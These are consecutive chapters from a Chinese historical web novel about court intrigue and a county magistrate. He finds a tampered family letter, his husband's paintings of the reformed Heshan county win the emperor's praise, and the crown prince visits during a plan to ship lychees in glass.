吴昭远下了衙就往祝家赶,喉咙干涩,拿起桌上的茶杯便饮,然后说出一句朝堂惊闻,“吴千嶂前些日子被捕入狱了,吴巍正急着捞他,根本没空对景行使坏。” 祝泽宁来了劲,“他怎么还进去了?怎么回事快说快说。” 连宋亭舟也将身子往前倾了倾。 “说是他被查出在任期间收受贿赂。”吴昭远知道的也不多,只是听同僚说起才知道。 “怎么可能?就是他不谨慎,他大伯吴巍难道不会替他把关吗?”祝泽宁惊讶道。 倒不是他觉得吴千嶂人品贵重不可能受贿,只是不相信对方在京察这么重要的时刻,会因为这种事被抓。 宋亭舟不解,“吴千嶂本身也是有几分本事才华的,不至于事事都要吴巍把关。” 祝泽宁又替吴昭远续了杯茶水,“你外放多年不知道,自三年前你被派到岭南后,吴家就中了邪似的开始走下坡路……” 原来如今的吴家在盛京已经逐渐被边缘化,吴巍一把年纪,在朝堂上三番五次被皇上斥责。而且三年后的春闱中,吴家竟没有出一个进士。 刨除前头杀光的吴家人,和年迈不动窝的,吴四竟然就是吴家最后一个做官的进士。其余吴家在位官,不是被贬就是犯错被杀。这种情况下吴巍再看不出来皇帝要整治他就是傻子。 吴家现在要多低调有多低调,恨不得夹起尾巴来做人。连往日吴千嶂百般瞧不起看不上的柴郡都能骑到他头上拉屎。 哪怕吴家累积几代的财产人脉依旧庞大,但非勋贵人家,无人再朝便是衰败的开始。 “先别管他是怎么进去的,既然不是吴巍从中动手,还有谁和景行有仇?”吴昭远将视线移到宋亭舟身上。 宋亭舟眉头一皱,想起那天柴郡莫名其妙的拉拢。廉王拉拢吴昭远还有原因,可能是他母家都是武将,文官中少有亲信,想培养些无根基的文官上去。可拉拢他一个岭南外派官就有些耐人寻味了。 “大人,家里来信了。” 陶十一小跑着过来找宋亭舟,他毕竟是乡野出身,没注意到祝家管家欲言又止的样子。主家面前急足狂奔、大呼小叫是大忌。 宋亭舟猛地站起身,语速颇快的问道:“何时到的?” 陶十一见祝家的仆从纷纷侧目,想是知道自己不合规矩了,慢下步子小声答道:“应是昨日到的。” 宋亭舟心中急切,两步上前拿过他手中的信,口中不满的训斥了一句,“你是衙门的人,又不是寻常下人,何故做此姿态?” “是!”陶十一挺直腰板大声说话,惹得外面伺候的女仆抿嘴偷笑。 宋亭舟没理他耍宝,拿起信封先翻看两下,动作突然顿住——信笺的蜡封,颜色不对! 第62章 竹筒 宋亭舟拆开信封,飞速看完了信,头一次面对孟晚的甜言蜜语并无过多表情。 吴昭远见他拿着手中的信反复观看,担心的问了句,“如何?可是弟夫在家中出了什么事?” 宋亭舟缓缓摇头,“并未,家里一切都好。”他目光一直放在信纸上,眉眼间似乎也带着几分不解。 孟晚的信上只是几句家常,这就罢了,乃他们写信常态。他久不在家,孟晚说说常金花和阿砚的现状也是应该。只是孟晚在信梢还忆了几句往昔,说想念扬州的云片糕,要宋亭舟记得回赫山的时候给他带来。 他们去扬州只有一次,便是宋亭舟赴任时去扬州看项芸和林易,总共也没停留过多时日,更没吃过扬州的云片糕,孟晚突然这样说,怎么不令宋亭舟费解? “那你这是怎么了?”祝泽宁疑惑的问。 宋亭舟语气笃定的说:“这封信被人动过。” 吴昭远惊骇道:“怎会如此!” 宋亭舟摩挲信封上的封蜡,“我和晚儿收了个义子,他极其擅长制药,晚儿每次写信,用的火漆中都会掺上丁点的药粉。此药粉没有毒性,但触到高温色泽会变淡。” 这封信被拆开后,那人重新封了火漆,但旧色难消,大红色的火漆底色是更浅一分的粉色。明晃晃的告诉宋亭舟,它被动过。 本来今日祝泽宁做东,三人相约在他家小酌几杯,夜宿于此。但宋亭舟拿着这封被动过的家书颇有些心神不宁的意味,同好友们告罪一声,便带上陶十一赶去驿站。 “郎君要赫山到京城的信件?近日只有刚才这位小哥取走的一封。”驿站的人指着陶十一。 宋亭舟毫不犹豫的又问了一句,“那可有扬州来京的信件?” 驿站的人上下打量了他一眼,“这个可就多了,每日都有数以千计的信从扬州送递到盛京,郎君是什么意思?”来他这儿打探消息的多了,他一双眼睛看见穿着就能猜到对方身份高低。 宋亭舟一身半新不旧的长棉袍,外罩的灰色大氅倒是还算精贵,但比起那些贵人还是差的远了,像是有些家底却又品阶不高的小富人家。 驿站的人眼光确实毒辣,只一个照面就将宋家家境猜的八九不离十。 来驿站取信件并不需要户籍证明,驿站自有一套规整方式,取信时只要说对寄信人的名称与发件地,再从驿站的登记册上签好名讳即可。 宋亭舟便问道:“我还有位姓云的亲戚,从扬州寄信过来,烦请大哥帮忙寻来。” 他说话客气,驿站的人说白了也只是小吏,当即缓了缓神色,“好说好说,请教郎君大名为何。” 这个宋亭舟也不大能确定,他斟酌着刚要随便蒙上一个,驿站外便骑马飞驰来了个驿卒,“千里加急!扬州来件!” 驿站的人急忙迎了过去,“嚯,这么大?送到哪家去?” 只见驿卒身后背了个高约两米的长筒东西,一路从城门到驿站不知多引人注意,还有几个闲的没事的公子哥儿一路打赌跟过来,就为了猜是什么东西。 “这有什么可猜测的,定是画卷。” “非也,长的画卷我见过,就是没见过这么高的。这么大的纸张要如何作画?定是一种珍稀的丝绸。因为上头刺绣精美不能折叠,所以才卷曲起来。” 有人赞同道:“扬州刺绣举国闻名,王兄说的不无道理。” 人群热议,驿卒背了个这么长的东西却是不方便下马。驿站的人蹬着凳子将他后背上的布绳解开,两个人过来把东西抬下来往驿站里放。 驿卒下马左右扭了扭酸胀的脖子,还不忘提醒道:“仔细着些,是贵重东西,托事者付了三倍的价钱,要到京后立即送到礼部林侍郎家中。” 宋亭舟听到是送到林苁蓉家的,按捺住心中的激动,不动声色的退了一步,隐匿到人群里。 陶十一不明所以,跟着他往后退去。 驿站的人忙着派人把东西送到林家,一时半会也没顾得上宋亭舟。套了车,换了个驿卒,拉上东西就往林家去。 第63章 上殿对峙 赫山县63 廉王也不知是何心态,又笑着说了句,“秦艽到底是侯府世子,从小和我们这些皇子一起长大,身份贵重。便是流落到岭南去,也不该被一个小小的知县使唤。” 秦艽皮笑肉不笑的说:“在其位谋其职,就不劳廉王殿下费心了。”宋家人再怎么指使他,怎么也不会诬告他行强逼奸。 廉王似是没想到他还能说出这么一句正经话来,“在其位谋其职?秦小世子说的好,想必等宋知县调离岭南,你也能协助好新同僚。” “你这话是什么意思?”秦艽瞧着他这副蔫坏的模样就没憋什么好屁。 廉王收回目光,端正坐好,并没有向他解释的意思。 到底是大殿之上,上首坐着皇上,其下又都是朝中重臣。饶是秦艽被廉王激的一肚子火,也没有再多说什么,老老实实的站在太子身后。 太子心中满意,岭南这三年到底是没白去,曾经那么懒散的小舅子,如今也知道分寸了。 他用不高不低,用坐在他一旁的廉王能听到的声音说了句,“让你去军中是为了历练,日后好接手忠毅侯手中的军队。国公府子嗣繁多,上面又有老国公顶立门楣,自然无需像你这般外出谋算。” 这句话太子说的语气平淡,可秦艽眼睁睁的看着廉王的脸色变了又变,低头咧嘴偷笑。 活该,让你在我姐夫面前瞎咧咧。国公府再兵权在握又如何?底下子孙没一个成器的,嫡子没一个活到成年,庶子天天和公鸡似的斗来斗去。等老国公百年之后,定襄国公府就是一盘散沙。 他这边看廉王吃瘪正得意,冷不丁听到皇上提到他,“秦艽去了岭南这三年,如今倒是稳重不少。” 秦艽忙走到殿中,跪下回话,“是微臣从前顽劣,还劳陛下惦念。” 太子在一旁听着颇为满意,不错,说话也比从前好听。 “你在钦州带兵上阵有功,又是忠毅侯世子,可愿去你父亲军中做个守备?”忠毅候所管辖的边境防护兵中,守备已经是正五品的武官官职了,而秦艽如今只是个六品的百户。 见皇上有意抬举秦艽,廉王有些坐不住了,“父王,秦艽年龄尚小,连武举都没考完,只历练三年便坐上守备之位怕是不能服众。” 武举同文人科举一样三年一乡试,再三年一会试。秦艽只是早年考了个乡试,得了个武举人的称号,并未参加过会试。其实以他的身份,将来是一定会子承父业接管忠毅侯手中的军队的,因此参不参加会试并不重要。 太子适时开口,“服不服众要问军中将士才对,而不是你我妄测。”秦家军不服自家少主?真是天大的笑话。 五皇子眸色一变,定襄国公在军中地位不可动摇,秦家不可抗争,武官他险胜一筹。但太子在朝中文官中的支持者甚多,他可用之人甚少,世家自身难保不敢随意押宝,他只能收服些没有根基的寒门子弟慢慢图谋。 如此情况下,秦艽万万不能在军中闯出名头来。 “父……” “谢陛下隆恩,但廉王殿下说的也不无道理,微臣想参加明年的武举后,再去军中为陛下效力。” 廉王刚要再开口说话,秦艽竟然主动回绝了皇上的好意。 皇上倒是高看了秦艽一眼,“你既然心有鸿鹄想继续武举,自然再好不过。” 他说完问身边的宫侍,“赫山知县宋亭舟可到了?” 宫侍深深的弯下腰,“回陛下,人已经在偏殿恭候着。” 皇上缓缓颔首,“那就传上殿吧。” “微臣西梧府,赫山县知县宋亭舟,恭请陛下圣安。” 宋亭舟老老实实的跟着宫侍进殿,脊背挺直,头颅微垂,下跪行礼时眼睛专注地看着地面洁白无瑕的汉白玉,并不敢左右乱看。 皇上居高临下的凝视他片刻,眸中渐染嘉许之色,“宋亭舟,齐盛二十五年二甲进士第五。任职赫山知县三年,功绩卓然。辖制乡绅,开垦荒地,扶持工坊,鼓励贸易,使当地民生兴旺。此等政绩,堪为百官楷模!” 第1章 返回赫山县 画卷展开之后,诺达的一个大殿里,竟半点杂音都无。一时间落针可闻,片刻过后只有一声声细小的抽气声。 “抬到近前来……罢了,朕亲自下去观看。”年迈的帝王从龙椅上站起来身,脚步略显急促的往殿中走去。 宫侍忙凑上前扶着,“陛下,您慢着些。” 皇上挥退宫侍,到近前处去看孟晚画的六张图,越是靠近,越能感受到画作的逼真之处。大到画中山峦上的飞鸟鱼虫,小到孩童头上的红布绳,无一不精湛到仿佛真的能伸手可触。 皇上的手堪堪停到那一排排整齐泛黄的甘蔗地上,到底是不忍心触碰。 “好啊,妙啊!”他抚掌大笑。 殿中其他大臣,包括皇子都站起来观赏。林苁蓉和宋亭舟哪怕已经展开画卷看过一次,可此时再看仍不免被触动,更别提他本身就参与了画中的一桩桩一件件事件。 几名宫侍有眼色的接过画卷,仔细拿在手中,让林苁蓉和宋亭舟能空出手来。 宋亭舟便跪在离皇上近在咫尺的地上,“陛下,微臣从小父亡,家中赤贫,是靠母亲和夫郎辛苦劳作才能赴京赶考。当日微臣赴赫山县上任,旁人皆不看好微臣,微臣却从未有半点鄙夷不甘。只因天下百姓都是陛下之子民,在微臣看来,赫山的百姓,同京城的百姓,同江南的百姓并无半点区别。” 他吐字清晰,说话掷地有声,说出的话语真诚恳切,实实在在。让听者都能感受到他是一番肺腑之言,而非虚假的场面话。 不光他面前的皇上心中有所触动,殿中的许多大臣也是百感交集。曾几何时,他们也不曾被权利的欲望所熏染,发誓要为天下黎民做个清正廉明、断狱如神的父母官。 可后来是无奈,也是贪念,终究是回不去了。 “宋卿所言极是,天下百姓皆为朕之子民……”皇上指着上面的三幅画,“朕还是皇子时便听太傅说过,岭南地势险峻,穷山恶水间瘴疠横行,民生为艰,一片荒芜之象。可终究没能亲眼所见,原是如此景象。” 朝堂上的又岂止是帝王,皇子大臣在京城中争斗一生,许多人甚至连农田都没见过,更遑论偏远苦寒之地。 贫民之艰难,只存于他们笔下和薄薄的纸张上,又有几人能真正看见,了解呢?此时直面如此逼真的画作,难免不震惊。 廉王从自己座位上出列,“父皇贵为天子,龙血尊贵,这些平民百姓依附父皇皇恩,近些年又被减去了人丁税,才有今朝安乐。” 他身上穿着百人耗时三月才可织就的云锦,说着为百姓今朝安乐的话,在宋亭舟和林苁蓉等曾外派为官的臣子中,尤为可笑。 可不能笑出来,因为廉王是皇子,阶级之分就是如此。 倒是太子还曾与岳丈去过边境历练,见识过边疆更为朝不保夕的百姓,因此话语更言之有物,“父皇,岭南之困顿不只一宗,山多田少是其中最大弊端,宋知县能想到带领百姓退林还耕,此乃兴农之措。鼓励当地百姓栽种甘蔗,兴建糖坊更是利民之举。” 赫山梯田和制糖都已经在皇上面前挂了号,做不得假,除了死到临头还在狡辩的楚御史外,最清楚的便是户部尚书蔻汶。 他当初有多看不上岭南,如今看清局势后就有多欢喜。 明年西梧府就应该能把欠户部的钱都还清了吧? “陛下,臣厚颜想观摩此画一二。” 皇上心绪激荡,“来,都来!看看宋卿治理的赫山时下之状!” 文德殿内的一众大臣都走到大殿中央赏画,宋亭舟本来只书于册本上的功绩,如今明晃晃的摆在众人眼前时,任谁来都会震撼无比。 皇上龙颜大悦,恨不得直接将宋亭舟升到翰林院侍读的位子上,天天进宫给他讲讲是如何一点点将赫山县治理成如今这番模样。 工部尚书也是个实干派,他指着最后一幅画问宋亭舟,“敢问宋知县此为何种泥土,竟能建筑城墙?”三合土也不是这个颜色啊? 宋亭舟谦逊的答:“回大人,这是由七位工匠研制整整研制一年才制成的……灰粉。”他将临到嘴边的话咽进肚里,换了个另外的名称。 “灰粉?”工部尚书若有所思,“你说此物加水、沙之前是粉?” 其余人第一眼看的一定是梯田和甘蔗,宋亭舟也很意外工部尚书会看上水泥,他答道:“不错,此粉遇水则融,遇物则结。凡砖石木土,遇之则如胶似漆,浑然一体,纵风雨侵袭、岁月消磨,亦难撼动分毫。” 第2章 闹事 晚儿到底要的是个什么东西宋亭舟也说不上来,但他已经猜到孟晚不想太过出挑,他那些稀奇古怪的想法越少的人知道越少,一切都要合情合理。 “内子的挚友极爱岭南荔枝,他便问烧制出灰粉的匠人可能造出一物能将荔枝常放而不轻易腐坏,以便送到盛京。” 太子微微讶异,“本宫也曾食用过岭南上供的荔枝,那可是要转运四千里,途经水路驿站一百五十三处,途中要用冰块保存。便是如此等到了皇宫也已经仅存三百颗。”他身为太子不过才得了三十颗而已,皇宫大内运送一次荔枝尚且耗费如此多的人力物力,一个小小的夫郎便能做到? “姐夫不知,孟夫郎是天底下顶聪明的人,他说有办法,没准还真能办妥。”秦艽和孟晚相处三年,现如今已经有些无脑相信孟晚了。 宋亭舟还在极力找补,“都是这些匠人在费心,内子只是异想天开,随口一问罢了。” “那我就等着孟夫郎的好消息吧。”太子背着手往山下走去,抬眼回身间是浑若天成的矜贵。 他从小识文习武,十六岁便跟着忠毅侯在边境待了两年,周身的气势中还带着些将士才有果敢和英气。若不是廉王身后有定襄国公支持,根本不足以让他看在眼里。 他们顺着颜色深浅各异的官路入了县城,临近城门太子特意观摩了许久。这时的城门乃至整座赫山县城墙早已修筑完毕,不同于石头垒建的凹凸不平,容易坍塌损坏。灰色的水泥将整座城墙都刮抹均匀,想攀爬都找不到落脚点。 太子眸子中闪过一丝精光,“好!” 仁者见仁智者见智,宋亭舟和孟晚建造水泥想的是修路。而太子见到用水泥建造的城墙,更多的是用于军事。这是孟晚和宋亭舟所领悟不到的。 宋亭舟甚至不用腰牌和身份凭证,靠脸顺利入了城。进城第一眼便能看到屹立在道路一旁,占地极广的一家客栈。里面生意还算不错,能看到大部分进出城的客商都会直奔客栈休息。 太子只多看了两眼,秦艽就在旁边自动解说:“这家客栈也是孟夫郎修建的,除了前面的门面,院里还有两座小楼。姐夫你不知道,别看现在人少,等秋收后到来年春,这家客栈比开在贡院旁边的悦来客栈还热闹。” “咳。”宋亭舟轻咳一声,唤回太子和秦艽的注意力,“公子一路劳累,还是先到下官宅院里休整一二吧。” 太子撂下帘子,“如此也好。” “常姨,宋大人回来了,你要不要和我们一起回去。” “哦,店里生意太忙走不开啊,那我们先走了。” 安静了一会儿,秦艽又在外头和人打起了招呼,可见他是真的喜欢赫山县,进城后比回京还兴奋。 太子端坐在马车上,冷不丁车帘被人从外掀开,秦艽仗着骑术好,递给他一包用油纸包裹的东西,“姐夫你尝尝,宋大人母亲做的香酥羽脍,可好吃了。” 太子面色深沉地直视他,语气看不出喜怒,“君子不贪口欲,你姐姐教你的规矩,可见都是忘光了。” 秦艽被训斥的耷拉下脑袋,撂下帘子不敢吭声。太子妃比他年长几岁,秦艽长到六岁的时候母亲去世,算是姐姐将他带大,秦艽再混账,他姐教的规矩该守都守得。 这次是真的安静了,可挡不住街上热热闹闹人来人往,家里有闲钱了也舍得带家人进城来采买东西,看看戏文。 小贩的吆喝声,食物的香气,杂耍的艺人和能清晰飘到耳中的戏腔。 宋亭舟归家心切,顶着绵绵细雨骑马在最前面,结果到了家里老娘和媳妇谁都不在,只有一头狼在院里阴凉地方乘凉。 常金花习惯了儿子三天两头出远门,不至于像在三泉村没见过外面天高地阔时惦念,把手头的活计忙完了才赶回家。 “大郎?家里是来了客人了?”她一进家门就见平常给秦艽留着的小院外面站了好几个冷脸侍卫,不免有些忐忑。 宋亭舟已经洗了个澡换了身衣服,他整理着浅薄的衣衫,安抚母亲,“是盛京来的高官,在咱们家小住两天就走,言语间客气几分就是,娘不必担忧。” 常金花听他这么说心下安定不少,“那我去叫黄叶和我上街再多买些菜肉回来。”赫山热的早,而且又湿又热,肉菜什么的都防不住,见天买新鲜的才好。 宋亭舟知道她爱张罗饭食,倒也没出声阻止,也没特意叮嘱什么。他家一直是这样的家常便饭,太子殿下想来也不会因为这个苛责于他。 宋亭舟此人就是这样,会因为种种遭遇更加内敛成熟,也会因为孟晚和严昶笙的某些话而产生深刻的触动。 思想成长与蜕变的同时,他却还是他。那个在学堂里能以一己之力孤立所有人的宋亭舟,那个在低矮的门楼外与孟晚一眼万年的宋亭舟。 第3章 找打 “婊子,你敢绑我,不知道爷爷在黑叶县是一把手吗!” “爷爷可是黑叶县知县的小舅子,现在把爷爷放了再主动过亲热一番,爷爷就饶了你一回儿。要不等我从黑叶县带人来,可就是不是现在这么好说话了!” 孟晚气笑了,自从他随宋亭舟到岭南之后,已经很久没人敢在他面前这么嚣张了。 “懂哥儿,还能不能起得来?”他问被唐妗霜搀扶的懂哥儿。 懂哥儿刚才虽然被大牛拉住了,但头上还是擦破了皮,这会儿有些晕晕乎乎的,但听到孟晚的话,还是勉强打起精神来,“夫郎,对不住,这事都是因我而起……” 孟晚打断他一番愧疚发言,“站过来,给我抽他几个嘴巴,就前面骂的最脏那个。” 懂哥儿一愣,“啊?” “啊什么啊?让你抽他,使点劲儿!”见那流氓混混不停的满嘴喷粪,孟晚都快等不及了。 听他催促,懂哥儿犹犹豫豫的站到混混面前,眼神闪躲,将脸扭到了一边,伸出右手啪地一声扇到混混脸上。 他这一下给人挠痒痒差不多,混混受到的实质伤害性不大,可当着兄弟们的面被个哥儿给打了,备受侮辱,张嘴又开始喷,“你个婊子、被人玩烂的贱货,你敢打我……啊!” 又是“啪”的一声,这次力道明显比上次大了许多,但孟晚还是不满意。 “再用点力,怕什么,他敢从黑叶县跑到赫山来就是上杆子找死,不把他打的他娘都不认识我就不姓孟!” 懂哥儿可能是在两次动手后找到了感觉,听了孟晚的话后更加有底气,挥动的手一次比一次快,也一次比一次狠,很快领头的混混脸上便开始出现一道道红色的指印。 “闭嘴闭嘴,不许骂我们东家,呜呜呜……也……也不许骂我!”懂哥儿麻木的双眼中渐渐染上丝快意,这下子不用孟晚催促,也知道狠命的扇人,边打还边哭个不停。 其他混混都看愣了,这下再也不敢吭声。孟晚招呼其他人,“愣着干嘛,这群人刚才怎么拽你们头发扇你们耳光的不记得了?都给我打回去!” 荷娘是这群人里最能狠下心肠的,孟晚发话的瞬间,她便披着被扯散的黑发,学着孟晚那样将一个混混踹了一脚。 她本意可能也想将混混踢倒的,但奈何身材娇小,没能踢动。她反而更气,从地上捡起根棒子往混混身上狠狠一戳,终于将他戳倒。然后将棒子一扔,又在墙角拿了根短的,劈头盖脸就是往对方脑袋上敲。 身边的唐妗霜不得不提醒她理智一点,“万一打死了不是给东家惹麻烦吗?往手脚上打。” 说完他自己还对着另外的混混给大家做实验。 曾被陈云墨从矿山上弄下来的这些人,一个接一个的动起手来,场面要多好看有多好看。 孟晚嫌弃那些混混的叫声难听,还叫雪生把他们的下颚骨都卸下来了,从藕坊门口便只能听见里面“砰砰砰”肉体和棍棒碰撞的声音。 “荷娘,你怎么……样?”冲进门来的卢溯眼睁睁的看着往日姿态柔弱如杨柳扶风的荷娘,披散着头发在拎着棍子打人? 他背过身闭上眼睛,三秒后睁开看见的是宋亭舟冷峻的脸,对方颇为不满的说:“你如今也是堂堂一个举人了,何故做此番姿态?”他当年考举后可没这番幼稚扭捏。 卢溯被训得不敢开口,只能缩在墙角目睹荷娘打架。 院子里比较吵,孟晚正双手叉腰,看得比自己上手还爽快,冷不丁被人从后面单手扶住了腰,“可有被人冲撞到?” 孟晚满脸惊喜,“你怎么回来了?” “早起便进了赫山地界,只是带人去窑场山上看了眼,所以耽搁了些时间。”宋亭舟带着他往外走,扯下腰牌交给雪生,让他拿着去县衙叫人过来。 宋亭舟此行是去朝觐的,哪怕孟晚不在乎他官升几品,也难免问上一声,“考核结果如何?” 宋亭舟久不见他,眼睛一刻也不离他身上,嘴角带着笑意打趣道:“夫郎冰雪聪明,何不猜猜。” 孟晚来了兴致,他站在宋亭舟面前仔细端详对方,“嗯……眼中带笑,应该是高升没错了。若是回京你应当是神态微微紧绷的,可能还会尽早给我寄来书信,叫我和娘今早收拾行装。但你没有,那……可是被派到附近地界为官了?” 第4章 赏赐 太子的话语中满是上位者对普通人的拿捏与考量,“女子、哥儿,向来都是以夫为刚,若是让她们都跃于人前,只会更不易管控。” 孟晚毕竟在人人平等的现代社会生活了二十多年,闻言颇感不适。但他不会傻乎乎的和太子争辩什么,反而顺着他的话说下去。 “太子殿下所言极是,可如赫山这般……”孟晚的话里转了个弯,“不知殿下可曾见过草民画的赫山百态图。” 聪明人略微提点就已经知道了他话里的意思,赫山县之前的百姓甚至少有三代人,贫民活着都难,谁还管什么女人做工还是小哥儿做工? “草民开办的糖坊如今已有三年,这三年里,草民雇佣男子将甘蔗收到糖坊里。剩下所有劳务,都由这些女娘和小哥儿完成。三年间赫山糖坊共卖出高纯度红糖和普通纯度的红糖共一百四十万斤。”孟晚说出这个相当庞大的数字后,连太子身后两名面无表情的侍卫神色都变了一变。 孟晚叹道:“这三年她们在糖坊里为赫山建设出了很大的一份力,创造了不亚于男子的收益。若只把她们这样的劳动力作为提高国家生育的附庸存在,未免太过可惜。” 太子沉默了一瞬,从孟晚说出产糖量时便开始转动腕上价值不菲的珊瑚手串,过了许久动作还是没停,“你们夫夫是真正为国为民的,圣上念着宋大人的功绩,也看重你的画作。安心在西梧待上三年,若有难事尽管去京城找我。” 若三年前他还只是将宋亭舟当个小小的进士,把孟晚看做有些机灵劲儿的小哥儿。如今已经掀翻以前的看法,甚至惜才的想,幸好当初没硬要宋亭舟留京。 宋亭舟已经升到了西梧府同知的位置,太子这番话无异于默认了让他们两口子放开了做,出事他兜着,却又没有强迫将宋亭舟拉入他的阵营。 孟晚一瞬间对他好感倍增,打铁要趁热,他当即厚颜表示,“既然太子殿下如此说了,草民还真有件小事想请殿下帮忙。” 他穿着身浅淡却不艳丽的衣裳,那张绮丽的脸上带着股讨好的意味,却不让人觉得厌烦。 太子端着他的架子,“说吧,什么事?” 孟晚并不敢直视太子,而是微微垂眸,边说边悄悄的观察太子脸色,“草民听说殿下曾去窑场看过,也知道臣要做一种密封之物,但还差一些东西,想像殿下讨一些过来。” 太子轻轻转了转手中色泽浓郁鲜艳的串珠。“何物?” “不是物,是人,臣想要几个瓘玉局的能工巧匠。”孟晚怕太子不答应,忙解释道:“无需顶好的匠人,几个能制玻璃的学徒即可,臣是想做一批玻璃制品的容器,用来装放荔枝。” 皇室把控瓘玉局是为了贵族制作精美观赏器物与器皿,供于宫廷宴饮和宫殿装饰等,若只是制作粗劣玻璃罐子当容器,应当也是可行的。 但民间若想生产玻璃,定是要经过皇室首肯,不然十个脑袋也不够砍。孟晚管太子要人,主要是为了将他的工厂过个明路。 太子眼底闪过一丝讶异,“你还真想钻研藏储荔枝的法子?” 孟晚看着自己一手创建的糖坊,心中似有千般情绪在翻涌,“都说岭南处地偏远,山势险峻,不利于大范围农耕,这确实是它的缺点。可岭南的荔枝橘子在整个禹国都是独一份的,这是岭南的优点。草民想让岭南的荔枝传出去,使文人墨客提起岭南时不再只是穷乡僻壤的恶称。” 他语调并不慷慨激昂,可就是能调动的人心潮澎湃。太子身边的侍卫两两对视,眼中皆是震惊和钦佩。 转动手串的细微声响消失,太子将手串带回手上,“本宫答应了,等我回宫之后会挑两个家世清白的匠人,将其派遣到西梧来。” 孟晚极力克制住要翘不翘的唇角,低头躬身行礼,“多谢殿下成全。” 可能是今天在糖坊里鸡汤给太子灌得太多的,回去太子就从随身的行囊中找出两块羊脂白玉出来要赐给孟晚。 孟晚吓了一跳,“殿下万万不可,草民不能收。” 我滴个乖乖,刷好感是不是刷过头了?我这张破嘴!!! 看出孟晚的惊恐不似作伪,太子反而笑了,“放下你的心,本宫难道没见过美人,非要强抢朝臣夫郎不可?收下吧,你开办糖坊,使百姓有份生计,若不是哥儿之身,就是千两金也值当。” 孟晚容颜确实姣好,令人阅之心动,但已成家生子,不然纳进东宫做个侍妾也是好的。 然而他最大的价值却不是困于后宅之中,太子看的清清白白,可拉拢而不可亵渎。 孟晚诚惶诚恐的收下赏赐,留在家里大门不出二门不迈,尽量减少和太子的接触,等两天后太子在秦艽的陪同下巡视了最近的甘蔗地,决定启程赶往钦州,他才和宋亭舟一起露面恭送太子。 “可是有何不妥?”宋亭舟自然能看出孟晚的异样,只是察觉孟晚在隐忍不发,似乎极为忌惮太子,只能等送走太子和秦艽后再询问他。 古时都讲究早起赶路,送走太子回来,天还没大亮,孟晚拉着宋亭舟回房,从床头的暗柜里拿出个用上好的金丝楠木嵌蓝宝珠的盒子来。 “这是太子赏赐给我的。”孟晚眼中带着些许不安,“宋亭舟,我会不会闯祸了。” 他不是神,不能算清楚每个人内心的想法。一些心思好懂的普通人就算了,上位者城府深沉,孟晚也不能探究几分想法。他习惯未雨绸缪,做事将最糟糕的后果考虑其中,看自己能不能承受。 虽然太子那么说了,但他一日不走,孟晚便提心吊胆,也只有现在宋亭舟面前才显露出脆弱的一面。 他将原委都同宋亭舟说了,眼见着宋亭舟脸色比他还难看,更是心里七上八下的。 宋亭舟整理好心情发觉孟晚误会了他的神态,忙将对方抱在怀里,“晚儿,不用怕,太子在京中向来沉稳,从未做过什么荒唐事,是我暗恼自己无用,竟没察觉到让你心惊胆战了这么久。” 孟晚被他紧紧抱着便觉得心安定了一半,他用依赖的语气同宋亭舟小声说:“其实我心里也觉得那种几率不算大,但和这样有气势的皇族相处还是忍不住心慌,担心自己乱了分寸。”影响宋亭舟的仕途。 宋亭舟抱着孟晚坐在软榻上,双手搂住他,两人紧紧贴合在一起。他用温热的唇爱怜地贴了贴孟晚额头,声音温柔的像能滴出水来,“莫怕,晚儿,不论发生何事都有我在。” 他如今虽然升至五品,可上面还有四品、三品、一品乃至皇室。他需要更努力,取得让皇室都不敢轻易动他家人的地步,才能安然带孟晚、常金花和阿砚回京。 “对了,差点忘了问你,在京城有没有人找你麻烦?”孟晚想知道制香皂那人的身份地位,但又怕一向人打听反而会暴露自己,便连宋亭舟也没细说。 太子带的高手应当最少都是二流,起码雪生是打不过的,两口子这些天没敢商量什么盛京中的详细事,到这会儿才倚在榻上一一诉说。 说到找自己麻烦,宋亭舟立马想到廉王,“幸亏你谨慎,将信送到项先生那里,不然定要被人截下了。” 孟晚也不能确定会不会有人拦心,单纯就是心眼多,所以多备了一步。所以宋亭舟这么一说,他还颇为惊讶,“还真有人劫信,手段这么多,连岭南这么远都能伸出手来,该不会是皇室吧?” 宋亭舟拔下他头上的祥云发簪顺手放到一旁的矮柜上,抚着孟晚垂落的黑发道:“是廉王,若是我没猜错,陈云墨这些人就算不是廉王亲自指使,也和他有莫大的关系。” 孟晚靠在他怀里若有所思,“廉王如今也有二十多了吧?陛下的皇子中除了行二的勤王、行四的太子和行五的廉王外,还有其他皇子吗?” 宋亭舟看了眼外面的天色,觉得还能再抱着孟晚小憩片刻,调整了一番姿势后答道:“并无。” 孟晚本来在他身上趴的好好的,但天气实在太热,他便悄悄退开了一些,“廉王与太子斗得凶,我们本来就和秦艽交好,又扣押了陈云墨和陈崇,可真是个烫手山芋。” 他和宋亭舟倒是一个想法,这个当头,他们好不容易得皇上和太子青眼,万不能掺和进党争。 宋亭舟发现他的小动作又把他捞回怀里,伸手拿起放在窗边的蒲扇,一下一下的为孟晚扇风,“不必忧心,这些我会解决好,你再睡一会儿,我替你打扇子。” 被他温声劝了两句,孟晚彻底放松下心神,将外罩薄如蝉翼的罗衫脱下来随手放在一边,孟晚安心的闭上了眼睛。 他里面穿的衣服像背心,露出锁骨和胳膊。宋亭舟挥动蒲扇带来的轻风将他前额的碎发吹的飞起,再快速落在他白皙光洁的额头上。 宋亭舟就这样看着他的睡脸,直到窗外的天空泛起鱼肚白,晨光透过稀薄的云层,给窗框都镀上了一层金边。 孟晚长睫轻颤,他才睡了一会儿,现在还并不想清醒。 宋亭舟将胳膊从他颈下缓缓抽离,半跪在榻上轻手轻脚的将孟晚抱起,见人在他怀中半醒未醒的样子,轻声哄道:“榻上挨着窗户,我抱你去床上睡。” 孟晚迷迷糊糊也不知听没听懂宋亭舟的话,总之一挨到床又滚到里面睡熟了。 宋亭舟理了理衣裳,拿了本书坐在床边,边给孟晚打扇子边看书。过了会儿听到外面传来的脚步声,知道可能又是阿砚过来喊吃饭,率先放下书册和扇子到门口拦住了他,“嘘,乖阿砚,阿爹睡觉还没醒,爹和你去吃饭。” 阿砚学着他的样子小声说话,可可爱爱的笑话孟晚,“阿爹真是个小懒蛋,他还介个样子说过阿砚呢!” 宋亭舟略微弯了弯身子牵上儿子的小手,“阿爹不懒,他是全禹国最好、最聪明、最漂亮的小哥儿。” 阿砚瞪圆了和孟晚极为相似的眼睛,巴巴的望着宋亭舟,“那阿砚呢?” 宋亭舟摸摸他头上被常金花梳起来的两个小揪揪,温和的说:“阿砚也是全禹国最聪明的好阿砚。” 阿砚害羞的捂着脸,“爹,你不在家,阿砚都想你啦!你也夸阿砚漂漂!!!” 